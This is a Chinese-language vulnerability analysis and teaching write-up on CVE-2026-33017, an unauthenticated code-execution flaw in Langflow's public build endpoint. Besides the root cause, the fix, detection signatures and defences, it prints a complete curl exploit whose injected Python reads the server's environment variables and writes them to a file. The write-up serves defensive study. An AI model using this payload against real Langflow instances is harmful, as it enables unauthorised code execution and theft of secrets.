CVE-2026-33017 Langflow 公开接口未授权 RCE 漏洞分析与利用
字数 3363
更新时间 2026-04-01 16:20:41

CVE-2026-33017 Langflow 未授权RCE漏洞教学文档

1. 漏洞概述

漏洞编号: CVE-2026-33017
漏洞类型: 未授权远程代码执行 (Unauthenticated RCE)
风险等级: 高危 (CVSS评分: 9.3)
影响版本: Langflow <= 1.8.1
漏洞状态: 官方已修复

核心描述: Langflow的可视化框架中,公开构建端点(/api/v1/build_public_tmp/{flow_id}/flow)未对未认证用户提交的流程图数据进行验证。攻击者可以构造恶意流程图,在服务端构图时通过exec()函数执行任意Python代码,实现远程代码执行。

2. 前置条件

要成功利用此漏洞,需要满足以下条件:

  1. 目标Langflow实例至少存在一个公开流程(公开演示、聊天机器人、共享工作流等常见场景)
  2. 获取到公开流程的UUID(通常可通过共享链接或URL发现)
  3. 无需任何认证,仅需一个任意值的client_id cookie

3. 漏洞原理深度分析

3.1 漏洞入口点

漏洞位于公开构建接口build_public_tmp(),文件路径:src/backend/base/langflow/api/v1/chat.py

关键问题:

  • 该接口没有使用Depends(get_current_active_user)进行用户认证
  • 同文件中的认证版接口/build/{flow_id}/flow明确使用了current_user: CurrentActiveUser
  • 公开版接口允许未认证用户提交data参数,并将owner_user作为current_user传递给后续处理流程

3.2 信任链断裂

src/backend/base/langflow/api/utils/core.pyverify_public_flow_and_get_user()函数中:

  • 仅验证flow_id对应的流程是否为公开流程
  • 完全没有验证请求体中的data数据是否可信
  • 攻击者可以完全控制提交的流程图数据

3.3 数据处理流程

攻击者的恶意数据通过以下路径传播:

  1. 前端数据提交 (src/frontend/src/utils/buildUtils.ts)

    • 公开页面调用build_public_tmp接口
    • nodesedges打包为data发送给后端
    • 正常功能是"已认证编辑器提交当前图",但公开页面复用了相同的数据通道
  2. 后端数据处理 (src/backend/base/langflow/api/build.py)

    • 如果请求包含data,服务端直接使用data.model_dump()构图
    • 如果不包含data,才会从数据库加载流程
    • build_public_tmp()恰好允许未授权请求携带data
  3. 构图执行链 (src/backend/base/langflow/api/utils/core.py -> build_graph_from_data())

    • 调用Graph.from_payload()
    • 进入Graph.initialize()
    • 执行_build_graph()
    • 调用_instantiate_components_in_vertices()

3.4 代码执行点

关键文件: src/lfx/src/lfx/graph/vertex/param_handler.py

代码字段处理逻辑:

def _handle_code_field(self, field_name: str, val: Any, params: dict[str, Any]) -> dict[str, Any]:
    try:
        if field_name == "code":
            params[field_name] = val  # 直接将源码字符串原样放入参数字典
        else:
            params[field_name] = ast.literal_eval(val) if val else None
    except Exception:
        params[field_name] = val
    return params

问题:

  • 专门识别名为code的字段
  • 将源码字符串原样放入参数字典,没有任何安全净化
  • 只有其他代码型字段才尝试ast.literal_eval()解析

3.5 动态代码执行

执行链:

  1. eval_custom_component_code(code) -> validate.create_class(code, class_name)

  2. prepare_global_scope(module)函数包含关键执行点:

    def prepare_global_scope(module):
        exec_globals = globals().copy()
        # ... 解析AST节点 ...
        if definitions:
            combined_module = ast.Module(body=definitions, type_ignores=[])
            compiled_code = compile(combined_module, "<string>", "exec")
            exec(compiled_code, exec_globals)  # 第一次exec执行
    
  3. build_class_constructor()函数包含第二次执行:

    def build_class_constructor(compiled_class, exec_globals, class_name):
        exec_locals = dict(locals())
        exec(compiled_class, exec_globals, exec_locals)  # 第二次exec执行
        exec_globals[class_name] = exec_locals[class_name]
    

执行时机关键点:

  • 恶意代码在图初始化/组件实例化阶段就会触发
  • 不需要等到业务节点真正执行
  • 即使流程图后续没有运行,恶意代码也已经执行
  • 如果恶意代码写在会被重复求值的位置,可能执行多次

4. 漏洞复现步骤

4.1 环境搭建

# 创建虚拟环境
uv venv
source .venv/bin/activate

# 安装漏洞版本
uv pip install langflow==1.8.1

# 启动Langflow
langflow run

4.2 获取公开流程ID

# 获取超级用户令牌(AUTO_LOGIN=true时无需凭证)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')

# 创建公开流程
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

echo "Public Flow ID: $FLOW_ID"

4.3 构造并发送恶意Payload

# 向未认证端点发送恶意流程图数据
# 注意:无需Authorization头、API密钥或任何凭证
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{
    "data": {
      "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os, socket, json as _json\n_proof = os.popen(\"env\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n  display_name=\"X\"\n  outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n  def r(self)->Data:\n    return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "X",
            "base_classes": ["Data"],
            "display_name": "ExploitComp",
            "name": "ExploitComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    },
    "inputs": null
  }'

Payload构造要点:

  1. 必须包含code字段,类型为code
  2. code.value中包含恶意Python代码
  3. 恶意代码需要包含一个继承自Component的类定义
  4. 顶层赋值语句(如_proof = os.popen("env").read().strip())会在AST解析时被放入definitions并执行
  5. 类定义(class ExploitComp(Component):)也会在类实例化时执行

4.4 验证执行结果

# 检查命令是否执行成功
cat /tmp/rce-proof

成功执行后会显示环境变量和主机名信息。

5. 漏洞修复方案

5.1 官方修复措施

  1. 切断信任链 (src/backend/base/langflow/api/v1/chat.py)

    • 公开端点build_public_tmp()不再信任请求体中的data
    • 对公开流程,data参数始终被忽略("always ignored")
    • 修复后的公开流程构建只从数据库加载已保存的流程定义
  2. 增加安全审计

    • 添加安全审计日志
    • 当请求试图向公开流程传递data时,记录安全告警
    • 日志包含flow_idclient_id和IP地址,用于事件响应
  3. API签名调整

    • build_public_tmp()更新为接受log_builds: bool | None参数
  4. 新增安全测试 (src/backend/tests/unit/test_chat_endpoint.py)

    • test_build_public_tmp_rejects_custom_data
    • test_build_public_tmp_data_parameter_is_ignored
    • 验证系统在收到恶意data时会记录告警且不会按攻击者数据执行

5.2 修复原理

  • 公开端点与认证端点采用不同的数据处理路径
  • 公开端点完全剥离自定义数据提交能力
  • 强制从可信源(数据库)加载流程定义
  • 监控异常行为,增强可观测性

6. 漏洞利用限制与注意事项

6.1 利用限制

  1. 需要目标实例存在至少一个公开流程
  2. 需要获取公开流程的UUID
  3. 恶意代码中必须包含继承自Component的类定义
  4. 执行上下文受Python沙箱限制(但可通过导入模块绕过)

6.2 攻击检测特征

  1. /api/v1/build_public_tmp/{flow_id}/flow端点的POST请求
  2. 请求包含自定义的data节点数据
  3. data中的code字段包含可疑Python代码
  4. 缺少正常的认证凭证,仅包含client_id cookie

6.3 防御建议

  1. 立即升级到Langflow 1.8.1以上版本
  2. 如无法立即升级,实施网络层防护:
    • 对公开端点实施请求内容检查
    • 监控异常的exec()调用
    • 限制Python模块导入
  3. 最小权限原则:
    • 避免不必要的公开流程
    • 定期审计和清理公开流程
    • 使用网络隔离限制Langflow实例的出口流量

7. 技术要点总结

  1. 信任边界混淆: 公开接口错误地信任了用户提交的数据
  2. 数据与代码混淆: 将用户控制的字符串直接作为代码执行
  3. 执行时机错误: 在构图阶段而非运行时执行用户代码
  4. 防御深度不足: 缺乏输入验证、输出编码、最小权限等多层防护
  5. 逻辑漏洞: 功能复用导致安全边界被突破

8. 扩展思考

  1. 类似框架中是否可能存在相同模式漏洞?
  2. 如何设计安全的低代码/无代码平台架构?
  3. 在动态代码执行场景下,如何平衡灵活性与安全性?
  4. 公开端点与认证端点的安全模型差异化管理重要性
相似文章
相似文章
 全屏